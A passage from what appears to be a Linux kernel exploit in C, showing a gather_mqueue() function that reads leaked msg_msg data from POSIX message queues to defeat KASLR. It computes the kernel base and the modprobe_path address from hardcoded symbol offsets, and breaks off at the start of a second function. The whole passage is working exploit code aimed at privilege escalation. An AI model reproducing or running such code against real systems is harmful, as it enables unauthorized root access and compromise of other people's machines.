gather_mqueue() —— read msg_msg to leak kernel_base
| 422 | |
| 423 | // gather_mqueue() —— read msg_msg to leak kernel_base |
| 424 | int gather_mqueue(mqd_t mqdes, int gather_size) |
| 425 | { |
| 426 | char msg[BUFFER]; |
| 427 | printf("[*] gathering mqueue...\n"); |
| 428 | for (int i=0; i<gather_size; i++) |
| 429 | { |
| 430 | if (mq_receive(mqdes, (char*)&msg, BUFFER, NULL) != -1) |
| 431 | { |
| 432 | if (*((uint64_t *)msg) & 0xffffffff00000000 != 0xffffffff00000000) |
| 433 | bye("[-] can't leak base... \n"); |
| 434 | |
| 435 | base_base = *((uint64_t *)msg) - 0x4da860; // ffffffff814da860 t user_free_payload_rcu 0x51af80 |
| 436 | modprobe_addr = base_base + 0x186e880; // ffffffff8286e880 D modprobe_path 0x1e8b320 |
| 437 | printf("[+] KASLR base: 0x%llx\n", base_base); |
| 438 | printf("[+] modprobe addr: 0x%llx\n", modprobe_addr); |
| 439 | } |
| 440 | } |
| 441 | return 0; |
| 442 | } |
| 443 | |
| 444 | int gather_mqueue_nosave(mqd_t mqdes, int gather_size) |
| 445 | { |